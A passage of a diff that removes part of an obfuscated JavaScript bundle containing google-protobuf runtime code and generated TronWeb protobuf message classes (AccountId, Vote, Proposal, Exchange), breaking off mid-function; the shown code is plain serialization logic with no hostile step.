- for (_0x2e76ae(this, _0x3dddf7, 2), this.a.j(_0x9f9201.length), _0x3dddf7 = 0; _0x3dddf7 < _0x9f9201.length; _0x3dddf7++) {
- this.a.I(_0x9f9201[_0x3dddf7]);
- }
- }
- };
- _0x50cca3.prototype.writePackedBool = _0x50cca3.prototype.Tc;
- _0x50cca3.prototype.Vc = function (_0x427315, _0x35e58c) {
- if (null != _0x35e58c && _0x35e58c.length) {
- _0x427315 = _0x1fe6a9(this, _0x427315);
- for (var _0x205b99 = 0; _0x205b99 < _0x35e58c.length; _0x205b99++) {
- this.a.R(_0x35e58c[_0x205b99]);
- }
- _0x550d3f(this, _0x427315);
- }
- };
- _0x50cca3.prototype.writePackedEnum = _0x50cca3.prototype.Vc;
- _0x50cca3.prototype.Zc = function (_0x259620, _0x2cdad6) {
- if (null != _0x2cdad6 && _0x2cdad6.length) {
- for (_0x2e76ae(this, _0x259620, 2), this.a.j(8 * _0x2cdad6.length), _0x259620 = 0; _0x259620 < _0x2cdad6.length; _0x259620++) {
- this.a.K(_0x2cdad6[_0x259620]);
- }
- }
- };
- _0x50cca3.prototype.writePackedFixedHash64 = _0x50cca3.prototype.Zc;
- _0x50cca3.prototype.td = function (_0x15028e, _0x107770) {
- if (null != _0x107770 && _0x107770.length) {
- _0x15028e = _0x1fe6a9(this, _0x15028e);
- for (var _0x12c6b1 = 0; _0x12c6b1 < _0x107770.length; _0x12c6b1++) {
- this.a.N(_0x107770[_0x12c6b1]);
- }
- _0x550d3f(this, _0x15028e);
- }
- };
- _0x50cca3.prototype.writePackedVarintHash64 = _0x50cca3.prototype.td;
- _0x232b63.debug = _0x352ef2;
- _0x232b63.Map = _0x31e943;
- _0x232b63.Message = _0x1c56aa;
- _0x232b63.BinaryReader = _0x26b2ed;
- _0x232b63.BinaryWriter = _0x50cca3;
- _0x232b63.ExtensionFieldInfo = _0x5a8c5c;
- _0x232b63.ExtensionFieldBinaryInfo = _0x249ec9;
- _0x232b63.exportSymbol = function (_0x2e083c, _0x276fa5, _0x2b5ae6) {
- _0x4851be(_0x2e083c, _0x276fa5, _0x2b5ae6);
- };
- _0x232b63.inherits = function (_0x516ec8, _0x284a4b) {
- function _0x434456() {}
- _0x434456.prototype = _0x284a4b.prototype;
- _0x516ec8.prototype = new _0x434456();
- _0x516ec8.prototype.constructor = _0x516ec8;
- };
- _0x232b63.object = {
- extend: function (_0x71e165, _0x1463bb) {
- for (var _0x223914, _0x548e95, _0x3b9654 = 1; _0x3b9654 < arguments.length; _0x3b9654++) {
- for (_0x223914 in _0x548e95 = arguments[_0x3b9654]) _0x71e165[_0x223914] = _0x548e95[_0x223914];
- for (var _0xf0f4a7 = 0; _0xf0f4a7 < _0x26ea13.length; _0xf0f4a7++) {
- _0x223914 = _0x26ea13[_0xf0f4a7];
- Object.prototype.hasOwnProperty.call(_0x548e95, _0x223914) && (_0x71e165[_0x223914] = _0x548e95[_0x223914]);
- }
- }
- }
- };
- _0x232b63.typeOf = _0xd2c509;
- },
- 6177: (_0x474c53, _0x4d402d, _0x2ee1a8) => {
- var _0x5e6550 = _0x2ee1a8(5595);
- var _0x176696 = _0x5e6550;
- var _0xa2d0a6 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0xa2d0a6 && _0xa2d0a6 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- _0x176696.exportSymbol("proto.google.protobuf.Any", null, _0xa2d0a6);
- proto.google.protobuf.Any = function (_0x59a9d3) {
- _0x5e6550.Message.initialize(this, _0x59a9d3, 0, -1, null, null);
- };
- _0x176696.inherits(proto.google.protobuf.Any, _0x5e6550.Message);
- _0x176696.DEBUG && !COMPILED && (proto.google.protobuf.Any.displayName = "proto.google.protobuf.Any");
- _0x5e6550.Message.GENERATE_TO_OBJECT && (proto.google.protobuf.Any.prototype.toObject = function (_0x5c6006) {
- return proto.google.protobuf.Any.toObject(_0x5c6006, this);
- }, proto.google.protobuf.Any.toObject = function (_0x30d8be, _0x5c911f) {
- var _0x4273d5 = {
- typeUrl: _0x5e6550.Message.getFieldWithDefault(_0x5c911f, 1, ""),
- value: _0x5c911f.getValue_asB64()
- };
- _0x30d8be && (_0x4273d5.$jspbMessageInstance = _0x5c911f);
- return _0x4273d5;
- });
- proto.google.protobuf.Any.deserializeBinary = function (_0x1cdec1) {
- var _0x2b533b = new _0x5e6550.BinaryReader(_0x1cdec1);
- var _0x32f450 = new proto.google.protobuf.Any();
- return proto.google.protobuf.Any.deserializeBinaryFromReader(_0x32f450, _0x2b533b);
- };
- proto.google.protobuf.Any.deserializeBinaryFromReader = function (_0x4f72e1, _0x487502) {
- for (; _0x487502.nextField() && !_0x487502.isEndGroup();) {
- switch (_0x487502.getFieldNumber()) {
- case 1:
- var _0x59941e = _0x487502.readString();
- _0x4f72e1.setTypeUrl(_0x59941e);
- break;
- case 2:
- _0x59941e = _0x487502.readBytes();
- _0x4f72e1.setValue(_0x59941e);
- break;
- default:
- _0x487502.skipField();
- }
- }
- return _0x4f72e1;
- };
- proto.google.protobuf.Any.prototype.serializeBinary = function () {
- var _0x4d1593 = new _0x5e6550.BinaryWriter();
- proto.google.protobuf.Any.serializeBinaryToWriter(this, _0x4d1593);
- return _0x4d1593.getResultBuffer();
- };
- proto.google.protobuf.Any.serializeBinaryToWriter = function (_0x423209, _0x18eaff) {
- var _0x531708 = undefined;
- (_0x531708 = _0x423209.getTypeUrl()).length > 0 && _0x18eaff.writeString(1, _0x531708);
- (_0x531708 = _0x423209.getValue_asU8()).length > 0 && _0x18eaff.writeBytes(2, _0x531708);
- };
- proto.google.protobuf.Any.prototype.getTypeUrl = function () {
- return _0x5e6550.Message.getFieldWithDefault(this, 1, "");
- };
- proto.google.protobuf.Any.prototype.setTypeUrl = function (_0x21e85f) {
- return _0x5e6550.Message.setProto3StringField(this, 1, _0x21e85f);
- };
- proto.google.protobuf.Any.prototype.getValue = function () {
- return _0x5e6550.Message.getFieldWithDefault(this, 2, "");
- };
- proto.google.protobuf.Any.prototype.getValue_asB64 = function () {
- return _0x5e6550.Message.bytesAsB64(this.getValue());
- };
- proto.google.protobuf.Any.prototype.getValue_asU8 = function () {
- return _0x5e6550.Message.bytesAsU8(this.getValue());
- };
- proto.google.protobuf.Any.prototype.setValue = function (_0x1961f4) {
- return _0x5e6550.Message.setProto3BytesField(this, 2, _0x1961f4);
- };
- _0x176696.object.extend(_0x4d402d, proto.google.protobuf);
- proto.google.protobuf.Any.prototype.getTypeName = function () {
- return this.getTypeUrl().split("/").pop();
- };
- proto.google.protobuf.Any.prototype.pack = function (_0x4e69f6, _0x4b82de, _0x15262b) {
- _0x15262b || (_0x15262b = "type.googleapis.com/");
- "/" != _0x15262b.substr(-1) ? this.setTypeUrl(_0x15262b + "/" + _0x4b82de) : this.setTypeUrl(_0x15262b + _0x4b82de);
- this.setValue(_0x4e69f6);
- };
- proto.google.protobuf.Any.prototype.unpack = function (_0x2d1eb0, _0x4c6b18) {
- return this.getTypeName() == _0x4c6b18 ? _0x2d1eb0(this.getValue_asU8()) : null;
- };
- },
- 8020: (_0x29f97a, _0x3bb5b1, _0xac130) => {
- var _0x5b4e64 = _0xac130(5595);
- var _0x30c00e = _0x5b4e64;
- var _0x33b75f = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x33b75f && _0x33b75f || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- var _0x16aa6f = _0xac130(6177);
- _0x30c00e.object.extend(proto, _0x16aa6f);
- _0x30c00e.exportSymbol("TronWebProto.Account", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Account.AccountResource", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Account.Frozen", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.AccountId", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.AccountType", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.DelegatedResource", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Exchange", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Key", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.MarketOrderDetail", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Permission", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Permission.PermissionType", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Proposal", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Proposal.State", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Transaction", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Transaction.Contract", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Transaction.Contract.ContractType", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Transaction.Result", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Transaction.Result.code", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Transaction.Result.contractResult", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Transaction.raw", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Vote", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Votes", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.Witness", null, _0x33b75f);
- _0x30c00e.exportSymbol("TronWebProto.authority", null, _0x33b75f);
- TronWebProto.AccountId = function (_0x2076f6) {
- _0x5b4e64.Message.initialize(this, _0x2076f6, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.AccountId, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.AccountId.displayName = "TronWebProto.AccountId");
- TronWebProto.Vote = function (_0x43a031) {
- _0x5b4e64.Message.initialize(this, _0x43a031, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.Vote, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Vote.displayName = "TronWebProto.Vote");
- TronWebProto.Proposal = function (_0x55e5bd) {
- _0x5b4e64.Message.initialize(this, _0x55e5bd, 0, -1, TronWebProto.Proposal.repeatedFields_, null);
- };
- _0x30c00e.inherits(TronWebProto.Proposal, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Proposal.displayName = "TronWebProto.Proposal");
- TronWebProto.Exchange = function (_0x52d32d) {
- _0x5b4e64.Message.initialize(this, _0x52d32d, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.Exchange, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Exchange.displayName = "TronWebProto.Exchange");
- TronWebProto.Account = function (_0x5628f6) {
- _0x5b4e64.Message.initialize(this, _0x5628f6, 0, -1, TronWebProto.Account.repeatedFields_, null);
- };
- _0x30c00e.inherits(TronWebProto.Account, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Account.displayName = "TronWebProto.Account");
- TronWebProto.Account.Frozen = function (_0x36495a) {
- _0x5b4e64.Message.initialize(this, _0x36495a, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.Account.Frozen, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Account.Frozen.displayName = "TronWebProto.Account.Frozen");
- TronWebProto.Account.AccountResource = function (_0x4e44f1) {
- _0x5b4e64.Message.initialize(this, _0x4e44f1, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.Account.AccountResource, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Account.AccountResource.displayName = "TronWebProto.Account.AccountResource");
- TronWebProto.Key = function (_0x14ef55) {
- _0x5b4e64.Message.initialize(this, _0x14ef55, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.Key, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Key.displayName = "TronWebProto.Key");
- TronWebProto.DelegatedResource = function (_0x560091) {
- _0x5b4e64.Message.initialize(this, _0x560091, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.DelegatedResource, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.DelegatedResource.displayName = "TronWebProto.DelegatedResource");
- TronWebProto.authority = function (_0x1bcc10) {
- _0x5b4e64.Message.initialize(this, _0x1bcc10, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.authority, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.authority.displayName = "TronWebProto.authority");
- TronWebProto.Permission = function (_0x11dbce) {
- _0x5b4e64.Message.initialize(this, _0x11dbce, 0, -1, TronWebProto.Permission.repeatedFields_, null);
- };
- _0x30c00e.inherits(TronWebProto.Permission, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Permission.displayName = "TronWebProto.Permission");
- TronWebProto.Witness = function (_0x40c5f9) {
- _0x5b4e64.Message.initialize(this, _0x40c5f9, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.Witness, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Witness.displayName = "TronWebProto.Witness");
- TronWebProto.Votes = function (_0x27a546) {
- _0x5b4e64.Message.initialize(this, _0x27a546, 0, -1, TronWebProto.Votes.repeatedFields_, null);
- };
- _0x30c00e.inherits(TronWebProto.Votes, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Votes.displayName = "TronWebProto.Votes");
- TronWebProto.MarketOrderDetail = function (_0x3f04c7) {
- _0x5b4e64.Message.initialize(this, _0x3f04c7, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.MarketOrderDetail, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.MarketOrderDetail.displayName = "TronWebProto.MarketOrderDetail");
- TronWebProto.Transaction = function (_0x37ffd0) {
- _0x5b4e64.Message.initialize(this, _0x37ffd0, 0, -1, TronWebProto.Transaction.repeatedFields_, null);
- };
- _0x30c00e.inherits(TronWebProto.Transaction, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Transaction.displayName = "TronWebProto.Transaction");
- TronWebProto.Transaction.Contract = function (_0x28a6e4) {
- _0x5b4e64.Message.initialize(this, _0x28a6e4, 0, -1, null, null);
- };
- _0x30c00e.inherits(TronWebProto.Transaction.Contract, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Transaction.Contract.displayName = "TronWebProto.Transaction.Contract");
- TronWebProto.Transaction.Result = function (_0x54ea9d) {
- _0x5b4e64.Message.initialize(this, _0x54ea9d, 0, -1, TronWebProto.Transaction.Result.repeatedFields_, null);
- };
- _0x30c00e.inherits(TronWebProto.Transaction.Result, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Transaction.Result.displayName = "TronWebProto.Transaction.Result");
- TronWebProto.Transaction.raw = function (_0x26f696) {
- _0x5b4e64.Message.initialize(this, _0x26f696, 0, -1, TronWebProto.Transaction.raw.repeatedFields_, null);
- };
- _0x30c00e.inherits(TronWebProto.Transaction.raw, _0x5b4e64.Message);
- _0x30c00e.DEBUG && !COMPILED && (TronWebProto.Transaction.raw.displayName = "TronWebProto.Transaction.raw");
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountId.prototype.toObject = function (_0x23f967) {
- return TronWebProto.AccountId.toObject(_0x23f967, this);
- }, TronWebProto.AccountId.toObject = function (_0x56e1ad, _0x3e2e75) {
- var _0x48ca4c = {
- name: _0x3e2e75.getName_asB64(),
- address: _0x3e2e75.getAddress_asB64()
- };
- _0x56e1ad && (_0x48ca4c.$jspbMessageInstance = _0x3e2e75);
- return _0x48ca4c;
- });
- TronWebProto.AccountId.deserializeBinary = function (_0x80630f) {
- var _0x2bc0fe = new _0x5b4e64.BinaryReader(_0x80630f);
- var _0x4ac0e2 = new TronWebProto.AccountId();
- return TronWebProto.AccountId.deserializeBinaryFromReader(_0x4ac0e2, _0x2bc0fe);
- };
- TronWebProto.AccountId.deserializeBinaryFromReader = function (_0x15fdca, _0x4bebb6) {
- for (; _0x4bebb6.nextField() && !_0x4bebb6.isEndGroup();) {
- switch (_0x4bebb6.getFieldNumber()) {
- case 1:
- var _0x3de24e = _0x4bebb6.readBytes();
- _0x15fdca.setName(_0x3de24e);
- break;
- case 2:
- _0x3de24e = _0x4bebb6.readBytes();
- _0x15fdca.setAddress(_0x3de24e);
- break;
- default:
- _0x4bebb6.skipField();
- }
- }
- return _0x15fdca;
- };
- TronWebProto.AccountId.prototype.serializeBinary = function () {
- var _0x32d5c5 = new _0x5b4e64.BinaryWriter();
- TronWebProto.AccountId.serializeBinaryToWriter(this, _0x32d5c5);
- return _0x32d5c5.getResultBuffer();
- };
- TronWebProto.AccountId.serializeBinaryToWriter = function (_0xf178b9, _0x521428) {
- var _0x222b19 = undefined;
- (_0x222b19 = _0xf178b9.getName_asU8()).length > 0 && _0x521428.writeBytes(1, _0x222b19);
- (_0x222b19 = _0xf178b9.getAddress_asU8()).length > 0 && _0x521428.writeBytes(2, _0x222b19);
- };
- TronWebProto.AccountId.prototype.getName = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.AccountId.prototype.getName_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getName());
- };
- TronWebProto.AccountId.prototype.getName_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getName());
- };
- TronWebProto.AccountId.prototype.setName = function (_0x4f56cc) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0x4f56cc);
- };
- TronWebProto.AccountId.prototype.getAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.AccountId.prototype.getAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAddress());
- };
- TronWebProto.AccountId.prototype.getAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAddress());
- };
- TronWebProto.AccountId.prototype.setAddress = function (_0x5cfdba) {
- return _0x5b4e64.Message.setProto3BytesField(this, 2, _0x5cfdba);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Vote.prototype.toObject = function (_0x46e800) {
- return TronWebProto.Vote.toObject(_0x46e800, this);
- }, TronWebProto.Vote.toObject = function (_0x21751a, _0x2ea330) {
- var _0x1a20af = {
- voteAddress: _0x2ea330.getVoteAddress_asB64(),
- voteCount: _0x5b4e64.Message.getFieldWithDefault(_0x2ea330, 2, 0)
- };
- _0x21751a && (_0x1a20af.$jspbMessageInstance = _0x2ea330);
- return _0x1a20af;
- });
- TronWebProto.Vote.deserializeBinary = function (_0x20b867) {
- var _0x2bc433 = new _0x5b4e64.BinaryReader(_0x20b867);
- var _0x57ea89 = new TronWebProto.Vote();
- return TronWebProto.Vote.deserializeBinaryFromReader(_0x57ea89, _0x2bc433);
- };
- TronWebProto.Vote.deserializeBinaryFromReader = function (_0x1628ae, _0x288237) {
- for (; _0x288237.nextField() && !_0x288237.isEndGroup();) {
- switch (_0x288237.getFieldNumber()) {
- case 1:
- var _0x2e715b = _0x288237.readBytes();
- _0x1628ae.setVoteAddress(_0x2e715b);
- break;
- case 2:
- _0x2e715b = _0x288237.readInt64();
- _0x1628ae.setVoteCount(_0x2e715b);
- break;
- default:
- _0x288237.skipField();
- }
- }
- return _0x1628ae;
- };
- TronWebProto.Vote.prototype.serializeBinary = function () {
- var _0x1a7887 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Vote.serializeBinaryToWriter(this, _0x1a7887);
- return _0x1a7887.getResultBuffer();
- };
- TronWebProto.Vote.serializeBinaryToWriter = function (_0x4f7291, _0x2fe0d2) {
- var _0x29811c = undefined;
- (_0x29811c = _0x4f7291.getVoteAddress_asU8()).length > 0 && _0x2fe0d2.writeBytes(1, _0x29811c);
- 0 !== (_0x29811c = _0x4f7291.getVoteCount()) && _0x2fe0d2.writeInt64(2, _0x29811c);
- };
- TronWebProto.Vote.prototype.getVoteAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.Vote.prototype.getVoteAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getVoteAddress());
- };
- TronWebProto.Vote.prototype.getVoteAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getVoteAddress());
- };
- TronWebProto.Vote.prototype.setVoteAddress = function (_0x38e601) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0x38e601);
- };
- TronWebProto.Vote.prototype.getVoteCount = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.Vote.prototype.setVoteCount = function (_0x338955) {
- return _0x5b4e64.Message.setProto3IntField(this, 2, _0x338955);
- };
- TronWebProto.Proposal.repeatedFields_ = [6];
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Proposal.prototype.toObject = function (_0x2962e7) {
- return TronWebProto.Proposal.toObject(_0x2962e7, this);
- }, TronWebProto.Proposal.toObject = function (_0x1ff015, _0x67d414) {
- var _0x514336;
- var _0x24371a = {
- proposalId: _0x5b4e64.Message.getFieldWithDefault(_0x67d414, 1, 0),
- proposerAddress: _0x67d414.getProposerAddress_asB64(),
- parametersMap: (_0x514336 = _0x67d414.getParametersMap()) ? _0x514336.toObject(_0x1ff015, undefined) : [],
- expirationTime: _0x5b4e64.Message.getFieldWithDefault(_0x67d414, 4, 0),
- createTime: _0x5b4e64.Message.getFieldWithDefault(_0x67d414, 5, 0),
- approvalsList: _0x67d414.getApprovalsList_asB64(),
- state: _0x5b4e64.Message.getFieldWithDefault(_0x67d414, 7, 0)
- };
- _0x1ff015 && (_0x24371a.$jspbMessageInstance = _0x67d414);
- return _0x24371a;
- });
- TronWebProto.Proposal.deserializeBinary = function (_0x2d62b8) {
- var _0x458eed = new _0x5b4e64.BinaryReader(_0x2d62b8);
- var _0x5f0d1c = new TronWebProto.Proposal();
- return TronWebProto.Proposal.deserializeBinaryFromReader(_0x5f0d1c, _0x458eed);
- };
- TronWebProto.Proposal.deserializeBinaryFromReader = function (_0x3bc663, _0xc84afc) {
- for (; _0xc84afc.nextField() && !_0xc84afc.isEndGroup();) {
- switch (_0xc84afc.getFieldNumber()) {
- case 1:
- var _0x51349f = _0xc84afc.readInt64();
- _0x3bc663.setProposalId(_0x51349f);
- break;
- case 2:
- _0x51349f = _0xc84afc.readBytes();
- _0x3bc663.setProposerAddress(_0x51349f);
- break;
- case 3:
- _0x51349f = _0x3bc663.getParametersMap();
- _0xc84afc.readMessage(_0x51349f, function (_0x4350cf, _0x2fcac4) {
- _0x5b4e64.Map.deserializeBinary(_0x4350cf, _0x2fcac4, _0x5b4e64.BinaryReader.prototype.readInt64, _0x5b4e64.BinaryReader.prototype.readInt64, null, 0, 0);
- });
- break;
- case 4:
- _0x51349f = _0xc84afc.readInt64();
- _0x3bc663.setExpirationTime(_0x51349f);
- break;
- case 5:
- _0x51349f = _0xc84afc.readInt64();
- _0x3bc663.setCreateTime(_0x51349f);
- break;
- case 6:
- _0x51349f = _0xc84afc.readBytes();
- _0x3bc663.addApprovals(_0x51349f);
- break;
- case 7:
- _0x51349f = _0xc84afc.readEnum();
- _0x3bc663.setState(_0x51349f);
- break;
- default:
- _0xc84afc.skipField();
- }
- }
- return _0x3bc663;
- };
- TronWebProto.Proposal.prototype.serializeBinary = function () {
- var _0x2583d5 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Proposal.serializeBinaryToWriter(this, _0x2583d5);
- return _0x2583d5.getResultBuffer();
- };
- TronWebProto.Proposal.serializeBinaryToWriter = function (_0x163ea8, _0xec7bef) {
- var _0x4b696c = undefined;
- 0 !== (_0x4b696c = _0x163ea8.getProposalId()) && _0xec7bef.writeInt64(1, _0x4b696c);
- (_0x4b696c = _0x163ea8.getProposerAddress_asU8()).length > 0 && _0xec7bef.writeBytes(2, _0x4b696c);
- (_0x4b696c = _0x163ea8.getParametersMap(true)) && _0x4b696c.getLength() > 0 && _0x4b696c.serializeBinary(3, _0xec7bef, _0x5b4e64.BinaryWriter.prototype.writeInt64, _0x5b4e64.BinaryWriter.prototype.writeInt64);
- 0 !== (_0x4b696c = _0x163ea8.getExpirationTime()) && _0xec7bef.writeInt64(4, _0x4b696c);
- 0 !== (_0x4b696c = _0x163ea8.getCreateTime()) && _0xec7bef.writeInt64(5, _0x4b696c);
- (_0x4b696c = _0x163ea8.getApprovalsList_asU8()).length > 0 && _0xec7bef.writeRepeatedBytes(6, _0x4b696c);
- 0 !== (_0x4b696c = _0x163ea8.getState()) && _0xec7bef.writeEnum(7, _0x4b696c);
- };
- TronWebProto.Proposal.State = {
- PENDING: 0,
- DISAPPROVED: 1,
- APPROVED: 2,
- CANCELED: 3
- };
- TronWebProto.Proposal.prototype.getProposalId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.Proposal.prototype.setProposalId = function (_0x44eef7) {
- return _0x5b4e64.Message.setProto3IntField(this, 1, _0x44eef7);
- };
- TronWebProto.Proposal.prototype.getProposerAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.Proposal.prototype.getProposerAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getProposerAddress());
- };
- TronWebProto.Proposal.prototype.getProposerAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getProposerAddress());
- };
- TronWebProto.Proposal.prototype.setProposerAddress = function (_0x21b8fe) {
- return _0x5b4e64.Message.setProto3BytesField(this, 2, _0x21b8fe);
- };
- TronWebProto.Proposal.prototype.getParametersMap = function (_0x3d1ced) {
- return _0x5b4e64.Message.getMapField(this, 3, _0x3d1ced, null);
- };
- TronWebProto.Proposal.prototype.clearParametersMap = function () {
- this.getParametersMap().clear();
- return this;
- };
- TronWebProto.Proposal.prototype.getExpirationTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.Proposal.prototype.setExpirationTime = function (_0x50e7ab) {
- return _0x5b4e64.Message.setProto3IntField(this, 4, _0x50e7ab);
- };
- TronWebProto.Proposal.prototype.getCreateTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.Proposal.prototype.setCreateTime = function (_0x1069dd) {
- return _0x5b4e64.Message.setProto3IntField(this, 5, _0x1069dd);
- };
- TronWebProto.Proposal.prototype.getApprovalsList = function () {
- return _0x5b4e64.Message.getRepeatedField(this, 6);
- };
- TronWebProto.Proposal.prototype.getApprovalsList_asB64 = function () {
- return _0x5b4e64.Message.bytesListAsB64(this.getApprovalsList());
- };
- TronWebProto.Proposal.prototype.getApprovalsList_asU8 = function () {
- return _0x5b4e64.Message.bytesListAsU8(this.getApprovalsList());
- };
- TronWebProto.Proposal.prototype.setApprovalsList = function (_0xdefeeb) {
- return _0x5b4e64.Message.setField(this, 6, _0xdefeeb || []);
- };
- TronWebProto.Proposal.prototype.addApprovals = function (_0x41f721, _0x2af76b) {
- return _0x5b4e64.Message.addToRepeatedField(this, 6, _0x41f721, _0x2af76b);
- };
- TronWebProto.Proposal.prototype.clearApprovalsList = function () {
- return this.setApprovalsList([]);
- };
- TronWebProto.Proposal.prototype.getState = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 7, 0);
- };
- TronWebProto.Proposal.prototype.setState = function (_0x2e6476) {
- return _0x5b4e64.Message.setProto3EnumField(this, 7, _0x2e6476);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Exchange.prototype.toObject = function (_0x4e1f59) {
- return TronWebProto.Exchange.toObject(_0x4e1f59, this);
- }, TronWebProto.Exchange.toObject = function (_0x4dbac7, _0x22ea53) {
- var _0x2618b3 = {
- exchangeId: _0x5b4e64.Message.getFieldWithDefault(_0x22ea53, 1, 0),
- creatorAddress: _0x22ea53.getCreatorAddress_asB64(),
- createTime: _0x5b4e64.Message.getFieldWithDefault(_0x22ea53, 3, 0),
- firstTokenId: _0x22ea53.getFirstTokenId_asB64(),
- firstTokenBalance: _0x5b4e64.Message.getFieldWithDefault(_0x22ea53, 7, 0),
- secondTokenId: _0x22ea53.getSecondTokenId_asB64(),
- secondTokenBalance: _0x5b4e64.Message.getFieldWithDefault(_0x22ea53, 9, 0)
- };
- _0x4dbac7 && (_0x2618b3.$jspbMessageInstance = _0x22ea53);
- return _0x2618b3;
- });
- TronWebProto.Exchange.deserializeBinary = function (_0x1925de) {
- var _0xa791d3 = new _0x5b4e64.BinaryReader(_0x1925de);
- var _0x4c95e7 = new TronWebProto.Exchange();
- return TronWebProto.Exchange.deserializeBinaryFromReader(_0x4c95e7, _0xa791d3);
- };
- TronWebProto.Exchange.deserializeBinaryFromReader = function (_0x593b39, _0x4a96ab) {
- for (; _0x4a96ab.nextField() && !_0x4a96ab.isEndGroup();) {
- switch (_0x4a96ab.getFieldNumber()) {
- case 1:
- var _0x1d4615 = _0x4a96ab.readInt64();
- _0x593b39.setExchangeId(_0x1d4615);
- break;
- case 2:
- _0x1d4615 = _0x4a96ab.readBytes();
- _0x593b39.setCreatorAddress(_0x1d4615);
- break;
- case 3:
- _0x1d4615 = _0x4a96ab.readInt64();
- _0x593b39.setCreateTime(_0x1d4615);
- break;
- case 6:
- _0x1d4615 = _0x4a96ab.readBytes();
- _0x593b39.setFirstTokenId(_0x1d4615);
- break;
- case 7:
